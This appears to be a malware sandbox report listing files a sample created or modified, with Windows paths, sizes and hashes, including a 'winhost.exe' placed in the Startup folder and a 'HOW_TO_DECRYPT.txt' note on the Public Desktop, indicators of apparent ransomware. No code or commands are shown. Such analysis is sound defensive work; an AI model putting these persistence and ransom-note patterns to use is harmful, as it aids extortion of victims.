SHA256 1baea77fdfd6e609db96bc09f9720da9a5cf2231c16eeffbbe25f852d54ce145
MD5 ddb71af16a97e496c0d974081f612e9e
SHA1 5a71e8351f8e56b3bdaceaa45a966c4368f2950e
SHA512 975076549b341ec823528b9fdf25d10042faf08ea85e804858c7eec468021d4c7e056e7d8c98c6bd0d4a59f82d0bc09c26550e614aeba4006ea3a854a20dd5fa
TLSH
T1CF61C91F49920921EFC815F1A7AAAE85387031441D169E739B8C98B5B4F7FB701FD507
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 3KB
SHA256 1faf3413a04f072a6bb32f842a9caeb88db6f8498c10cee8ca2d0926536a9354
MD5 f4da7488d816bd587c9bf492484d4d28
SHA1 e991fc99112d07b873efe7acbb1d2ddeb11b4523
SHA512 4c2213158268503221e92764e1d1609e912d0eb5b241bf99819a16b8278410ad8bb5614165611d73b8515a15abd4814d52ba35d961c0b5c8cf03b32c34e253a5
TLSH
T16361B81F49820921EFC815F1A7AAAE46387031441D169E739B8CA8B5B4F7FB701FD903
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5d3d2b.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe5d3d2b.TMP
Size 1KB
SHA256 76562d93c98b61709ac91440ee595320b1d0bbdcbb738fbd78367a38544bcfb4
MD5 5f0f282ddc0b10512cdc6cfdf33248f0
SHA1 be5c4715219e6005b0023827fbe764f791e3dc33
SHA512 cb669dafdcacac5d6cb015a65e261f4b57f20703556b5d454d3995aeb9a0b49e6e90ad7c4487ec6cf609cbe1cb93d712168d5c3cdc963545ff1394ab9f0b8433
TLSH
T1A931C92F0E420121E74152F1A3FD8E55717136844C531D725BCCA8B9B9FAF2B90FD948
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 109KB
SHA256 2cb2ede5d88aa316083ef8e0e01c04266187d253cf449de4a5969e9c2ff12167
MD5 03dd5c94977d688d168910d3eaa2c06d
SHA1 fe09ff9fc42c04c3b7a49eebd153be7d539bd403
SHA512 4516cb7badee1f28d4af8f8ef125fffa411a05acefaac57f255747b7ae36208ed353e8c6d8f1f8e51efb63e7bb50efbbb0f7d788425b35aa8ac0e7098124b623
SSDEEP 1536:wfEEjpHOefzGZqW3HkPDuVqpBOPcevcZsL62UpPq:JkH0aI5myUc
TLSH
T116B36336D6A54C7B01F16268EC651382F325036F9282A92F3A7C6D5D2FFD93A5502F2C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 c85eff40de865b29b0419a8a4b33665316927307b09798e6d0d4d373ad7a527f
MD5 6a70790f6451b69f312c417066e81ae9
SHA1 d58c2cb0440236a44eed218ab36d1b419f423f2f
SHA512 9437dcfd866838b69465db2d0843e85db5c02e38e6dd39105630779c15056736996a083365758ee49832accf3ea70fe3b1316c065c7b3e41fe27b5b08b150092
SSDEEP 96:D1/OvTYoqEaij6VzB6uTaowBfj4/Q+KIP/E:D1WvTYoqEaij6V16uTaokfj445IP/E
TLSH
T1CB91EFF393B4996D8D2195F4BA15AF2FCE290824532C3CABC5D4AF5793E2031E101A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 77c39ad9dad7f584268e44ff6ec3f81a6a4a0ce6b25e12ffe7aab6766fb77b2e
MD5 da28a78a74f65fc6c2f39b558febd083
SHA1 0966397e44a5ac8894cee6be182fc982eeecbc63
SHA512 af0b38f698d3004258e430b4d42edd16963896c9cb2dfccb1db04f5ecd2d524299112d66eeb582fd46bcb6be9a711a3e84639edc8408876b035b19c9e6f3836f
SSDEEP 96:D1/OTYoNrJEaij6VzBuTwBj4/6P/vINaf+Q1x:D1WTYoNrJEaij6V1uTkj4yP/vINafv1x
TLSH
T12FA1CDF393F49A6D8D2155F4BA25AE1FCE190924632C3CABC5D4EF4793E1471E101A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 2a445fdb1b7faab889b75242784f4d6e6319db4b2e80e258cdaae50b368208bc
MD5 526973ca7b03e0227501d1b4d1c1bbd5
SHA1 130d03edffbdcf0b914694979fd2c69dd2226ed4
SHA512 d6afeb4119247d803929c449fa0adb2041755483e7c278c41adbe2a5cd431e1321c0696f7706d4824e4d55db2ffc4eb05d39889ffa4d8967132aec12d87cafff
SSDEEP 96:D1/OTYoNrJEaij6VzB6uTawBfj4/6P0Go+NV:D1WTYoNrJEaij6V16uTakfj4yP0GomV
TLSH
T1BD91DEF393F49A6D8D2195F4BA25AF2FCE190824532C3CABC5D4AF5793E2471E101A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 f1dfcf9bc3fefa23664b7b95b08f5bf827187d3d62b804135d58295a7a0e06e2
MD5 475a69209a249aa0a3ecf5e71ca3bdda
SHA1 8b07cd8434b1002f3bfa6310ed387e5a53325acf
SHA512 3b43868b4b95cc7b7fd51336d7f634be8601b185c06e9524c0d6aa2ea71ad72d9d430bd53f64358cfa3513c68c5464dc55f8aaae1bb1261c248db8f22f3f3634
SSDEEP 96:D1+1Ow3pkp4Eaij6zzHFtw6TaWP/+K8Nf:D1+4w3pkp4Eaij6z7FtrTaWP/58Nf
TLSH
T182919AF393E8896D8D2155F4BA25AE1FCE290924632C3C5BC4D4EF4B93E2471E101A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 4KB
SHA256 482861ae6d98537754e4122124369feed1f6bac9619a20d225894c83b7952e11
MD5 dffdbbe04c077e6c5dd65067c1aba6f1
SHA1 2ac7120657fa150b0ac08012fbb441a4c8e2215b
SHA512 91ab476e38025eb685a3f6873afa27ec549389c4aff34e2919808a095ad5e36f38285e7d69801a8a1690d36fe85aa8ebc4e03aa8db2e123cddbed0c34619e160
SSDEEP 96:D1/OTXrmStnEaij6Vz6TwBj4/Qv6TSf+BGbPtE:D1WTXrmStnEaij6VGTkj44v6TSfmGbPS
TLSH
T172A1CCF393F49A6D8D2155F4BA25AE1FCE190824632C3CABC5D4EF4793E1471E141A4E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 689B
SHA256 b2519cc3970797027fdec632ee84346f413bcedb52740553cc902b56bd429849
MD5 315066aae9c8b7a8db8951345098ffe8
SHA1 54ab3dcfa1f37806af45ac6bfb9999d49ca24dba
SHA512 88ffddf86c717b7ab9d580cd7e7b5b11332453aa6eaa0cc2129f69601cf5c40c9e98b8e6842a23c520d6afab0c8c9a6b4ad8add8d8d6e469e3bc0866d99d8321
TLSH
T192012B63A2B9A437102D867B2E44BC496A7ED839118194F8DBAA83BC60944F74707076
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 c4bae868f39c26683fc5a58327c34c2d5e8e49c0eaa7ccb8d6aa309ccfdf3816
MD5 f270cdf8300bc66186e68d286450e519
SHA1 7312e3673dc48e89b9a4c6ddb49e7d8e6c6a7e57
SHA512 b51cc2e1d3ce0597b30463db6be68cef5e4e479607b7401c905df65157acdee466cde23f53740ed3270d02e1d400da1c9284658b6cbbca11d596d69358aecbcd
SSDEEP 384:sxZPO0E/fHsF3g+ZoV7org0RG/b/Z8yPDJt:sHXE/f1+Zoyk/bh8yP
TLSH
T1C972E866A63499779DDAD219FA45BB53D7F9152391900E44AEFC8B0C04E7BEC2203C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 962fe2e7be7a83ab745f77c644950fa65c16cb32cb967b6242865b32422307ea
MD5 b0686a4be660121f05feb5b3be4a5b78
SHA1 1dfde3f49b54d3e7617e90c5930c3c277911064f
SHA512 2d28d4e619001421a07518d3d7926df0da455c257ffb2059989b6985df06c7dc3a589de8abb982367fec9af63b4cdf26e4140a37eede05c26cb8ee73bbe91387
SSDEEP 384:sxZHO1E/fHsM3g+ZMV7ord0RS/boXu/759jJt:sPmE/f2+ZM7Q/br75p
TLSH
T14362D756AA34997B9CDBD219FA45BB53D7F9156391800E44AEFC8B0C04E76ED2203C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 82d08a7d8a0b4f76bc16c4a796f927093cad00bd347305cfc92774a2032526c6
MD5 21ff996ca657ac6bb740559ecadabf8b
SHA1 1e53f50fb6fddd90b0422af9d084b857a4059abc
SHA512 2c2b29af4e34d2ece8f969f64f98841d24a3826bc317e3245e916938dedb25b2c7242c0cc803cc3be19ddc4bc433560f7691ddfa412f763cdaab1fc5a4ccbad8
SSDEEP 384:sxZPOqeE/fHsF3g+ZoV7orq0Ry/blhO1PfbK:sHxeE/f1+ZoKo/bLO12
TLSH
T1E772C766A63489779CDBD219FA85BB53D7F9152791900E44AAFC8B0C04E76ED2203C2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 24359a22587067095a0869fb002f552d76ac9f781780616e119b78311a00741f
MD5 bd37df3e4aa4783bd62fb37a075d5e6b
SHA1 27b7d8ce6f4650a8a03aa0e10dac3ec45ce4c6b1
SHA512 0da914b7260722f2aac95aff537af001dfb847a1d524e5f0686646c7c78e4dd9d4f5fe36a8cc0ae9860203c5725932178573cde283700f840b094671378c5dc9
SSDEEP 384:sxZPO1E/fHsF3g+ZMV7ord0RS/boXu/75PDJt:sHmE/f1+ZM7Q/br75P
TLSH
T10872D7566A24997B9CDBD219FA85BB53D7F9156391800E449EFC8B0C04E76EC220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 37KB
SHA256 e0c3bae27dae6eb6e823c82bb7176f7f650e09f8a590af82b87b7e21ab0c1330
MD5 2434dcc62f3d8cf489e7e40d1beefa36
SHA1 6daefe6f0e22186ca16384d844efc8f7bd3cc2a3
SHA512 633693b5952caf09a7a2386acee7585a9107a515dc761342da271bcadc121586e182a856a07296b7daa32d671b989d402bb9c48bec701d55b077b1b9cea64ef3
SSDEEP 768:XwZh38Dv2S47pLxLsZFWRm6GQXm8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3bGq9Lls:XwZh38Dv2SkNsZFWRm6GQXmu1jaKbGqM
TLSH
T17E030A3B280CCBBE4F844E9CED267F8A6DE8028B56988D5447FA494C03C66EB15175DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\61458ef9-2999-4486-9682-e832360e40e9\index-dir\the-real-index
Size 72B
SHA256 2e918c41155b31f9fd79aaf723cc98adb634db087514dac4f88631a69e406fa3
MD5 5f63d6981ffd0a1253c1033b2c4dd342
SHA1 98338af2a5a63b6e1d8df63b9d3297501ba0edc9
SHA512 36c592dc53c2eebb2b4e6fbc055c469810ffdc83d0643f1c281002439d7d796b43c13bf33fe5bb92ff4c8a43073f0c86df5d40879c56be95cd826be27607854a
TLSH
T1AEA0021F2DE04018E00263B054610E71120058302102132540AD0D98CEEE8554BC6511
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe5e0359.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\61458ef9-2999-4486-9682-e832360e40e9\index-dir\the-real-index~RFe5e0359.TMP
Size 72B
SHA256 91c28f9f0e1fddc3ec2dcfbd3c41112542119fd467ddb005c6bd99a846a2d461
MD5 45d0d080fdd929140557cb2588db0d36
SHA1 28ff2d5396b1a2756cb0b4722779194d894edc66
SHA512 f6afffa4d6f3d8ae80f6813a52a4b37b9b6482bd3581308013ca39dd6742e493dc475e470abf7824d79f05b7219a1ef938b122e1a7d7d4a0da2ba6fdc92190e5
TLSH
T151A0023E3241801CE40212B5546186B06210D8300C01130B48990294CEE48695BC5912
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Size 476B
SHA256 330ec53032de0f2effffafd9a0995cfbbc0db4277381598037f5a9a05ec2e509
MD5 c0f4a5b187b5815859c64b9785becbf1
SHA1 162e941bfcd52e995f43b4078ec2c6b53c78d911
SHA512 dbba7cd7b923eccbbef38ddc14d79ed04af33c5f3e4b171e7e6d9a8ab407c0ebc1c195c4fd2e3814ac5384486df1a3c115f37ed4e1466a19d6b35f6c6319fb2b
TLSH
T1A2F097B72DE32D04FEAFC3D1103240A4081479A8C550AC2F041AB6D390B1B792089C63
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 27KB
SHA256 defee22ef18e6dd30fe3c3cbeb50c482268a5d09fa0530e0abec1111d0d85a54
MD5 f51587bed3a22cf274fe40b5018e6062
SHA1 f00d170f57a60f2e269002e918a80631a7ce2874
SHA512 0cb90366315a97fc56810f042520cf98a17deb1f2a91354cfe065d0067301bd1c93461bfd6a96a334fb3831de77264cdf4c353062f47ca071df8ef22b07828eb
SSDEEP 768:ctGj+BCNC5qFVpC3YF59E5t/TXqTOBFhBZ36Ntu/WUa:ctGj+BCNC5qFVpC3YF59E5t/TXqTOBF2
TLSH
T1ACC28B1331BA12023C7E691D87A497771A42B2737059E53B7BE854B60E6BE204DFD8CD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

favorites_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\favorites_diagnostic.log
Size 2KB
SHA256 782be96e6b3b3df1adfef0ff470d52497a8810c375449db45af69c74412d2529
MD5 d3227e81f80ae588c4346d5a6ef015af
SHA1 5625417363ce33618ae856d7a74d14d807400a54
SHA512 3d50f21d106ba921581da839182501e5765a959e7bae2dc33a79fb79366efd0f6ac1f722a122b56ed6df86e0a1ef7cf166048918ccf68d4eb432792149a869de
TLSH
T13251B3C1A3F92486AF89E941C309561378E53E67220E5CB2372E84F55F88C254E6FF79
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 58325dc62cd4c552d4b3659d2637608e5e018954872a03fb65bec51e63e0de6c
MD5 6210d802c4eb92a5c2c7c229b6f3b052
SHA1 5dd9efdccff38eb1fe604a6957dd35429f10d4f4
SHA512 5f00e6da7310ee07e395d605404cc6a486f6fe70be6e8d758249dabf4346e1617457da70cdbb3ae345488ec10d9ce659ccf5afb419bbf3c93b0ca87926b4743a
SSDEEP 384:nBiF9CcmyWCs38Nnn8TUNTUlIxBrk6oPuXF1zCfbHoS1TyP4ce4KV8p0hYty/7IM:oFccps3Anwg4buXzqoS1TyP4cI8p0J
TLSH
T170C26B36EC58CAFBEDE74F99E74A7603CEE0116786989AE4DAD81D1C008719D130B837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 5676bcd74fa7a44132d6ffe812d61fd0e4dad572ca2dc97f0fb696c33a59be13
MD5 3b457cddb2cf0409935edc0369f1251a
SHA1 7fb7f16d52955a7594dff97bbe2f8e8ba72c3d07
SHA512 c561ce86e5e35ca5ac1430d0b881c2ff5818eebbabb6d86344a04508599dc914d9330f53d4a3d00b8823ce91f727a6034943259b60c35fef40885d483f90f11e
SSDEEP 384:nsiF9CcmyWCB8NLz8TUNTUlIRYrk69ii1zCfbHoS1TyR/E8zkty/7Igv:XFccpBQzwgNlwqoS1TyR/E8zP
TLSH
T108B24B36ECA8CAA7EDEB4F99E74A7643CEE01167858C9AD4DAD81E0D00C71DD1307836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 28KB
SHA256 d2f15d868f3487a74a2e6e5995d800b13445659ce367fa4b97ec8051b1e3998d
MD5 e074b93ffcd28af141de84c976d0447e
SHA1 bff87cd72f28eb968a95138c317125a349dccc99
SHA512 f6a3c4ad52dff364f3175008f462f93b69f2f48455d82c8c9ed5d401aabb893e4628bf70417ce892065b385ac69190aa4c1996db8f54950337588935c6ad4507
SSDEEP 384:nOiF1tNnNnb9e8aZz8TUNTUlIR6rk6p+d1zCfbHoS1TyR/b8XDqfNcyjty/7Ig7R:lF1jZbEFzwgbBLqoS1TyR/b8TiqR
TLSH
T186D24A36EC68CAA7EDEB4FD9A34A7A039FE4125B85881AD4D9C85E1D00C71DD130783A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 cadeca0e5ad8a87b775902d235a1dad53a96357aca1ebdfcf7d9bee3ec8d2b31
MD5 91fe261fbf211e790107e22d1b9399d2
SHA1 b503e5361b086d9dc33abd6cb4aa6f03195adb5f
SHA512 4ca05f89bd447d31aa8e6d6d4ddd8135f3724a5ec4110c4c4086eab0a89cc6d7079e14b22c8ad68a6f2ee12526a72347cc51a760cac45a5979269e8c4dc77768
SSDEEP 384:nOiF9CcmyWCx8NLz8TUNTUlIRYrk6xqo1zCfbHoS1TyR/b8zkty/7Igv:lFccpxQzwgNVqqoS1TyR/b8zP
TLSH
T151B24B36ECA8CAA7EDEB4F99E74A7643CEE01167858C9AD4DAD81E0D00C71DD1307836
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 26KB
SHA256 03afd9e495f1d6dbebbbf95bb5eade07a29d735f24fae5ac7a45a67b03fe31e5
MD5 b1029babe9bb5f2d59b7021f900cf13e
SHA1 8e0fead060102f212e44bc2d101d415afb347d64
SHA512 92d4cf483d3e88250c6e8c050648b11f5f4e8919cdc793c2a30a05abb587a93e5e3ffdbfacbfa36d312af5fb116fb4bb6707817c3f6adb9f4f027c8e109976f3
SSDEEP 384:ntiF9CcmyWCs38NLz8TUNTUlIRyrk68/S1zCfbHoS1TyR/E8e4KV8p0hYty/7Igu:kFccps3QzwgvfAqoS1TyR/E8I8p00
TLSH
T10FC25C35EC69CABBECE74F99E74A7603DEE0116786889AE4DAD85D0D00871DD130B837
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

721a2c40-e573-4249-a3af-7bc6f26f5d5f.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\721a2c40-e573-4249-a3af-7bc6f26f5d5f.tmp
Size 2KB
SHA256 dbc78f8c784dbea65a67ad5afaad0064cc6fe0d9488c5b69d706be6f925837ab
MD5 d28f70916feb2dd7ed0d42534a36edfc
SHA1 0eb825f8e8a7508056e88667a2d441c534f7c756
SHA512 5e154199694c1a3344cdead3980428cfed20c319bad821e4016315f8fd3145be2af70d66f4616ec939e141a80664778a325330cdf552072887bceb82f8b12f30
TLSH
T17B514FD14C791AC0D4BD0E6F609B38FC82E8D725F5A4357D2858EA890979A2D648483F
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 60KB
SHA256 d85a29b86a8f58f49a6e791fc4f80ac24fee9c384a850673a38203534628e54c
MD5 9ebd74602e48356406ec7e614ea1af19
SHA1 2ec74c362fe04d471abe4dce70842f6df3f31788
SHA512 86ace8103889b01b28cb7ed9d81a4b04cdc5173afb406def9171b0574f1a44100f306b769c5924a81beb6484b6234d5a8d7d6753a24596fe94af6bffcebd7bfe
SSDEEP 1536:cflJn6h4iUxIbYUM6FfKQARWLvgqMWwaVs+z3079YoV9V3CNBQkj28OdB8tAHkdA:cflJn6qiUIbYUM6FfKQARWLvgqMWwaVW
TLSH
T118538592E9204E75E2A65F3EF15622627C30394690F8113212DC25EFA9879970B1F7FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 2112e5e1e6e044a6073eecd9d081f469e1a595e5b431f1832e27313e85a8cf54
MD5 d3992cae947d049f3a50871c79663c2f
SHA1 95b5b60efee1e458c1651d5786f50e9a2657d2a9
SHA512 7c4dec817dbc9627b05289e07b2b513bbfb2ea8284ab0f97791d5b77bb30ae828ce69878938b359d53fcc2c0533e949852056dd407c8d5d93a53af6863afb84a
SSDEEP 384:mTHhsGS1Q1xlvzCFRHEMEcHnnNzjs2xtg1BNXhI59X9AFM0iFJj:xGSe7lWRPEINzj7xtg1bXhaX9AFM0I
TLSH
T14192C4AE711F22C3C89553B8D107050FE8F2DE8D431922D9BB2E9E7B89AC55E813D558
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 18KB
SHA256 65cbb06996224045c5613619643af469b2866a5df8d6c2688ef4d0876a49293f
MD5 3e67375741099ee0e72b5d891463c60e
SHA1 a2f1318b73ae0326a6214754750c2c8f1cd06fb2
SHA512 6d4e748304a49cd9749b7ea6044255235376cfd207fbbd95381400e74b3a41db69290f8bf19e149e6cb80f22be856e33b37df085383309c0b6c0b3a224fcc83a
SSDEEP 384:QTHhsSGk7BCS6FRHEMEaHnnwGTAaaNbxBfwTR9EqnYEcapDUhC:zS7BJ6RPEqwGT+bBfwt9EF+Ug
TLSH
T1B29228AE321F36D7C0AA13B4C027079FEDB19EDE430453EE661B5D3B09DA26640695EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_kbygamn5.st4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbygamn5.st4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

winhost.exe

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winhost.exe
Size 226KB
SHA256 0acec441bd5e924c678d740919a076238ea9674e0a40876fc99f7ba814a8c9fe
MD5 dfa00a9673756016084c67c347d982d1
SHA1 e474417387df66a3635611b75b28443be117e6b6
SHA512 33f55aaf774c986c7bdae08841e80a3f0f26d6c41ee1e9d0ba120807fc20cc5f90295a00cdd8cc35b78622590bbd3529077cb40617e437f6fa7024638af070fb
SSDEEP 6144:zxnJ0x3dDeV15Kr3Qnka7To9z6i/4Ij8PLo:zErDm155Ezpj8PLo
TLSH
T190348D00B981C036D566583649B9DF765A2EBCB04F609ACBB3C40EFDCE346D09B39B56
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HOW_TO_DECRYPT.txt

Path C:\Users\Public\Desktop\HOW_TO_DECRYPT.txt
Size 61B
SHA256 aeeed884ddb801a7a4515cad00ca3f02d167833f0bc23545f513cbee37e1671d
MD5 15b3e50985cd1b575523795a9524610a
SHA1 a429de4a83e98608a4199466a340a25ba717efbe
SHA512 92330331d97d539087fe20f69ddc22e6da7cf9403074e6bd5795db555382154940b12d513b42567a6292ee082290a92a4b121dfc9f22d448f4909f1eebf41b60
TLSH
T1FDA00229E09C3C152EC95A555424E8A84C360D024C0A346D595148BC96662567091EC6
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 3KB
SHA256 2a01a3899be60c9e380a0da1c84b3201dbbe317275bab0d5beeded6e8c1bfba2
MD5 8647af35471ffe88e59201f21b6bc05d
SHA1 b5a4758388fc2346516bb24e3367ae5d1c30a39e
SHA512 c760f6b592164f86303851a3ecac737f9416948df93a4d33d3442b1080786341204d27413d780ef27d346ac31fd5517ec54f865dce7721c1866a909be8a42ad1
TLSH
T1955187778E6B023B5E07D480E6B8CB55DE132158074F38B57A3E919AA70923944FFB8C
MD5 SHA1 SHA512 TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 6KB
SHA256 cbe29d79155bb5778a9a795820bcb1b3921ef98e6b32bcfb0340626b0e1b6a8a
MD5 af6a08b2602b3301271297edeb18af99
SHA1 f7a4baabce6e600ed21f37d1c43f1f2873abdc3c
SHA512 b87213162b910d1574c7b2d0db59daa8e1ba70a0874e08e6753be193a8c2f7c15830da46cfa7e0853dbc0521a8fef5f8d628fd19f1c1f5470d5086c07f4a9b81
SSDEEP 192:HBxBWBxB4BmBlBmBFBmBEBZBmBWBWBZBmBABmBFBmBNBmBqvB/B5ABCBcBxBKBxq:hzEz2UvUPUKbUEEbU+UPUXUEZ5+4izAs
TLSH
T108D1FA774E6702375A07D990E7A88A59DE033268178E38B5B93FA1C9770533944FEA8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReAgent.log

Path C:\Windows\Logs\ReAgent\ReAgent.log
Size 12KB
SHA256 976bd8714112afc550859c0a928288522adcb97fbf34e8b6c528f352c41226e2
MD5 a06f095a22626af11d4aa650740fa1f1
SHA1 01c8bcaf337ffe9bf2b60c47446a806e06dc2124
SHA512 05480134e1046a2997f09ca01286172f3018a8047e1c5bac0e21b45b3a61b986a64a0af4cef54c4730c7bbe3a70a53d78bd32f306b45e4f6b608b68a11c2757d
SSDEEP 384:hzEz2UvUPUKbUEEbU+UPUXUEZ5+4izAzg0o6hUfbP5izAooHoK9gZpfHNM+rDmpQ:y
TLSH
T1694208734E6742376606DD80E7A54A49DF0332641B8E7C60B53FA5C97B0633989FEA8C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

diagerr.xml

Path C:\Windows\Panther\UnattendGC\diagerr.xml
Size 9KB
SHA256 0326b2aaa4c1f9c367bbfe34b1d829347f6ac3c000ef34248133c80ae5505bae
MD5 c8b5417a3d6e3cfdd09c935f5e19e0c5
SHA1 242c8d8cff1011e4a18978cd31a34ef19a225897
SHA512 dec1a5b47b8c5d2875d73300babbbfcfdaf101fb82f9a8e600e95a689470ae038926d8bd53e122898602729f199eb0a4c6e2169f4313cab2f70d59fc31cce951
